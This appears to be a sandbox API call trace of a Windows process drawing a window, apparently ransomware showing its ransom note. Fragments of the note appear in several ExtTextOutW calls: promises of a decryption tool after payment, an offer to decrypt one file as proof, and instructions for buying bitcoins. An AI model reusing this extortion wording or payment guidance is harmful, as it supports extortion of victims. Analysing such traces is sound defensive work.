[0111.209] GetStockObject (i=8) returned 0x1b00016
[0111.209] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.209] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0111.209] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0111.209] UnrealizeObject (h=0x61001e2) returned 1
[0111.209] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-438, lppt=0x0 | out: lppt=0x0) returned 1
[0111.209] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.209] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.209] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.209] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.209] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0111.209] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0111.209] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.209] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.209] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.210] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.210] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.210] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.210] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.211] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.212] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.212] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.212] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.212] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503f30, Size=0x60) returned 0x49f1f8
[0111.212] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.212] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.212] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.212] IsRectEmpty (lprc=0x49f208) returned 0
[0111.213] IsRectEmpty (lprc=0x49f218) returned 0
[0111.213] IsRectEmpty (lprc=0x49f228) returned 0
[0111.213] IsRectEmpty (lprc=0x49f238) returned 0
[0111.213] IsRectEmpty (lprc=0x49f248) returned 0
[0111.213] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0111.213] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0111.213] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0111.213] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0111.213] GetStockObject (i=8) returned 0x1b00016
[0111.213] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.213] GetROP2 (hdc=0x90101e7) returned 13
[0111.213] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.213] Rectangle (hdc=0x90101e7, left=12, top=65, right=1296, bottom=151) returned 1
[0111.213] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.213] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.213] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0111.213] _CIsqrt () returned 0x3f1a027f
[0111.213] _CIsqrt () returned 0x3f1a027f
[0111.213] _CIatan2 () returned 0x20
[0111.213] _CIatan2 () returned 0x20
[0111.213] GetStockObject (i=8) returned 0x1b00016
[0111.213] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.213] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0111.213] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0111.213] UnrealizeObject (h=0x61001e2) returned 1
[0111.213] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-439, lppt=0x0 | out: lppt=0x0) returned 1
[0111.213] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.213] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.213] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.213] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.213] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0111.214] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0111.214] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.214] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.214] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.214] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.215] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49f1f8 | out: hHeap=0x450000) returned 1
[0111.215] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.215] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.215] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb328
[0111.216] LsSetDoc () returned 0x0
[0111.216] LsCreateLine () returned 0x0
[0111.216] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.216] LsQueryLineDup () returned 0x0
[0111.216] LsQueryLineCpPpoint () returned 0x0
[0111.216] LsDisplayLine () returned 0x0
[0111.216] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x18a002e
[0111.216] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.216] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.216] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.216] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.216] _CIsqrt () returned 0x3f1a027f
[0111.216] _CIsqrt () returned 0x3f1a027f
[0111.216] _CIatan2 () returned 0x20
[0111.216] _CIatan2 () returned 0x20
[0111.216] ExtTextOutA (hdc=0x90101e7, x=46, y=-1, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.216] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.217] LsDestroyLine () returned 0x0
[0111.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.217] LsSetDoc () returned 0x0
[0111.217] LsCreateLine () returned 0x0
[0111.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.218] LsDisplayLine () returned 0x0
[0111.218] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.218] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.218] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.218] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.218] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.218] _CIatan2 () returned 0x20
[0111.218] _CIatan2 () returned 0x20
[0111.218] ExtTextOutW (hdc=0x90101e7, x=62, y=-1, options=0x4, lprect=0x1c8498, lpString="The file size should not exceed 1MB. n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x24, lpDx=0x1c84d0) returned 1
[0111.218] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.218] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.218] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.218] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.218] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.218] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.218] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.218] _CIatan2 () returned 0x20
[0111.218] _CIatan2 () returned 0x20
[0111.218] ExtTextOutW (hdc=0x90101e7, x=302, y=-1, options=0x4, lprect=0x1c8498, lpString=" n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.218] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.218] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.219] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.219] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.219] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.219] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.219] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.219] _CIatan2 () returned 0x20
[0111.219] _CIatan2 () returned 0x20
[0111.219] ExtTextOutW (hdc=0x90101e7, x=307, y=-1, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.219] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.219] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.219] LsDestroyLine () returned 0x0
[0111.219] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.219] LsSetDoc () returned 0x0
[0111.219] LsCreateLine () returned 0x0
[0111.219] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.219] LsQueryLineDup () returned 0x0
[0111.219] LsQueryLineCpPpoint () returned 0x0
[0111.219] LsDisplayLine () returned 0x0
[0111.219] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0111.219] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.219] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.220] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.220] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.220] _CIsqrt () returned 0x3f1a027f
[0111.220] _CIsqrt () returned 0x3f1a027f
[0111.220] _CIatan2 () returned 0x20
[0111.220] _CIatan2 () returned 0x20
[0111.220] ExtTextOutA (hdc=0x90101e7, x=46, y=24, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.220] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.220] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.220] LsDestroyLine () returned 0x0
[0111.220] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.220] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.220] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.220] LsSetDoc () returned 0x0
[0111.220] LsCreateLine () returned 0x0
[0111.220] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.221] LsDisplayLine () returned 0x0
[0111.222] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.222] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.222] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.222] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.222] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.222] _CIatan2 () returned 0x20
[0111.222] _CIatan2 () returned 0x20
[0111.222] ExtTextOutW (hdc=0x90101e7, x=62, y=24, options=0x4, lprect=0x1c8498, lpString="As evidence, we can decrypt one file n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x24, lpDx=0x1c84d0) returned 1
[0111.222] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.222] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.222] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.222] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.222] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.222] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.222] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.222] _CIatan2 () returned 0x20
[0111.222] _CIatan2 () returned 0x20
[0111.222] ExtTextOutW (hdc=0x90101e7, x=301, y=24, options=0x4, lprect=0x1c8498, lpString=" n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.222] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.222] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.222] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.222] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.222] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.222] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.222] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.223] _CIatan2 () returned 0x20
[0111.223] _CIatan2 () returned 0x20
[0111.223] ExtTextOutW (hdc=0x90101e7, x=306, y=24, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.223] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.223] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.223] LsDestroyLine () returned 0x0
[0111.223] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.223] LsSetDoc () returned 0x0
[0111.223] LsCreateLine () returned 0x0
[0111.223] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.223] LsDisplayLine () returned 0x0
[0111.223] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.223] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.223] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.223] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.223] LsDestroyLine () returned 0x0
[0111.223] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.224] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.224] LsSetDoc () returned 0x0
[0111.224] LsCreateLine () returned 0x0
[0111.224] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.224] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc540
[0111.224] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0111.224] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.225] LsdnFinishRegular () returned 0x0
[0111.225] LsDisplayLine () returned 0x0
[0111.225] LsDestroyLine () returned 0x0
[0111.225] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc540 | out: hHeap=0x450000) returned 1
[0111.225] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.225] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.225] LsSetDoc () returned 0x0
[0111.225] LsCreateLine () returned 0x0
[0111.225] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.226] LsDisplayLine () returned 0x0
[0111.226] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.226] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.226] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.226] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.226] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.226] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x258) returned 0x4e4bf8
[0111.226] _CIatan2 () returned 0x20
[0111.227] _CIatan2 () returned 0x20
[0111.227] ExtTextOutW (hdc=0x90101e7, x=62, y=124, options=0x4, lprect=0x1c8498, lpString="The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x95, lpDx=0x4e4bf8) returned 1
[0111.227] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4bf8 | out: hHeap=0x450000) returned 1
[0111.227] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.227] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.227] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.227] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.227] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.227] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.227] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.227] _CIatan2 () returned 0x20
[0111.227] _CIatan2 () returned 0x20
[0111.227] ExtTextOutW (hdc=0x90101e7, x=1008, y=124, options=0x4, lprect=0x1c8498, lpString=" decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.227] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.227] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.228] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.228] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.228] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.228] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.228] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.228] _CIatan2 () returned 0x20
[0111.228] _CIatan2 () returned 0x20
[0111.228] ExtTextOutW (hdc=0x90101e7, x=1013, y=124, options=0x4, lprect=0x1c8498, lpString=" decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.228] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.228] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.228] LsDestroyLine () returned 0x0
[0111.228] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.228] LsSetDoc () returned 0x0
[0111.228] LsCreateLine () returned 0x0
[0111.228] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.229] LsDisplayLine () returned 0x0
[0111.229] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.229] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2000000
[0111.229] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.229] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.229] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.229] _CIatan2 () returned 0x20
[0111.229] _CIatan2 () returned 0x20
[0111.230] ExtTextOutW (hdc=0x90101e7, x=62, y=149, options=0x4, lprect=0x1c8390, lpString="https://localbitcoins.net/buy_bitcoins Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x26, lpDx=0x1c83c8) returned 1
[0111.230] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.230] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.230] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.230] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.230] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.230] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x93001e3
[0111.230] SelectObject (hdc=0x90101e7, h=0x93001e3) returned 0x1b00016
[0111.230] MoveToEx (in: hdc=0x90101e7, x=62, y=150, lppt=0x0 | out: lppt=0x0) returned 1
[0111.230] LineTo (hdc=0x90101e7, x=297, y=150) returned 1
[0111.230] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x93001e3
[0111.230] DeleteObject (ho=0x93001e3) returned 1
[0111.230] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.230] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2cc6600
[0111.230] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.230] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.230] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.230] _CIatan2 () returned 0x20
[0111.230] _CIatan2 () returned 0x20
[0111.230] ExtTextOutW (hdc=0x90101e7, x=297, y=149, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.230] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.230] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.231] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.231] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.231] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.231] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.231] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.231] _CIatan2 () returned 0x20
[0111.231] _CIatan2 () returned 0x20
[0111.231] ExtTextOutW (hdc=0x90101e7, x=302, y=149, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.231] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.231] LsDestroyLine () returned 0x0
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.231] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.231] LsDestroyContext () returned 0x0
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1068 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509c80 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501468 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501440 | out: hHeap=0x450000) returned 1
